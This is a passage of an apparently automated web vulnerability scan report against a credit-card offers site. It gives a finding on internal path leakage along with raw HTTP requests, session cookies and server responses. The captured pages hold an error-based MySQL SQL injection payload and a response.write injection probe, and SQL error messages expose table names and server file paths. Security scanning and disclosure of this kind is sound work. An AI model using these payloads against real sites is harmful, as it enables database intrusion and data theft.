</tr>
</table>

<br>
<a href="http://www.creditcards.com">
<span class="return">Click Here to Return to CreditCards.com</span></a>
</div>

<img src="/actions/clickBack.php?t=f43e178cd0e7db12aac5c0bc7d30376c" width="1px" height="1px" />
<IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&pg=1477&pgpos=1' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script>
<script language="JavaScript" type="text/javascript">
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="lead confirmation"
s.server=""
s.channel=""
s.pageType=""
s.prop1=""
s.prop2=""
s.prop3=""
s.prop4=""
s.prop5=""
s.prop6=""
s.prop7=""
s.prop8=""
s.prop12=s.c_r('s_vi');
s.prop16="1"
/* Conversion Variables */
s.campaign=""
s.state=""
s.zip=""
s.events="purchase,event2"
s.products="1477;'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+';1;0"
s.purchaseID="1022011061705431539137051"
s.eVar1=""
s.eVar2=""
s.eVar3=""
s.eVar4=""
s.eVar5=""
s.eVar6=""
s.eVar7=""
s.eVar8=""
s.eVar25="1477"
s.eVar26="1"
s.eVar18=s.c_r('s_vi');

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)</script>
<script language="JavaScript" type="text/javascript"><!--
if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')
//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/-->
<!-- End SiteCatalyst code version: H.15.1. -->





</body>
</html>
[Possible] Internal Path Leakage (*nix)

[Possible] Internal Path Leakage (*nix)

1 TOTAL
INFORMATION
Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.

Remediation

External References

- /oc/

/oc/

http://www.creditcards.com/oc/?pid=response.write(268409241-22)%27&pg=1477&pgpos=1

Identified Internal Path(s)

/usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php;

Request

GET /oc/?pid=response.write(268409241-22)%27&pg=1477&pgpos=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:43:09 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3736
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:43:08 GMT; path=/


<center><span class='error'>SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''response.write(268409241-22)''' at line 1; SQL:SELECT * FROM cms_cards WHERE cardId = 'response.write(268409241-22)''; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 463</span></center><br><center><span class='error'>SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''response.write(268409241-22)''' at line 1; SQL:SELECT merchant_service_image_path FROM cms_merchant_service_details WHERE merchant_service_id = 'response.write(268409241-22)''; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 506</span></center><br><html>
<head>
<title>Just a Moment While We Direct You to Your Offer</title>
<meta name="robots" content="NOFOLLOW,NOINDEX">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<script src="/javascript/application.js"></script>


<link href="/css/credit-cards.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC">
<div align="center">
<br>
<table border="5" cellspacing="1" cellpadding="40" bordercolor="#999999" bgcolor="#FFFFFF" width="491">
<tr>
<td>
<div align="center">
<h2>Please Wait...<br>
<br>
</h2>
<img src="/images/loading.gif" width="131" height="23"><br>
<br>
<span class="loading"></span>
</div>
</td>
</tr>
</table>

<br>
<a href="http://www.creditcards.com">
<span class="return">Click Here to Return to CreditCards.com</span></a>
</div>

<img src="/actions/clickBack.php?t=33d2e560d770f6194af112ed2eb7cbb1" width="1px" height="1px" />
<IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid=response.write(268409241-22)%27&pg=1477&pgpos=1' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script>
<script language="JavaScript" type="text/javascript">
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="lead confirmation"
s.server=""
s.channel=""
s.pageType=""
s.prop1=""
s.prop2=""
s.prop3=""
s.prop4=""
s.prop5=""
s.prop6=""
s.prop7=""
s.prop8=""
s.prop12=s.c_r('s_vi');
s.prop16="1"
/* Conversion Variables */
s.campaign=""
s.state=""
s.zip=""
s.events="purchase,event2"
s.products="1477;response.write(268409241-22)';1;0"
s.purchaseID="1022011061705430964580267"
s.eVar1=""
s.eVar2=""
s.eVar3=""
s.eVar4=""
s.eVar5=""
s.eVar6=""
s.eVar7=""
s.eVar8=""
s.eVar25="1477"
s.eVar26="1"
s.eVar18=s.c_r('s_vi');

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)</script>
<script language="JavaScript" type="text/javascript"><!--
if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')
//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/-->
<!-- End SiteCatalyst code version: H.15.1. -->





</body>
</html>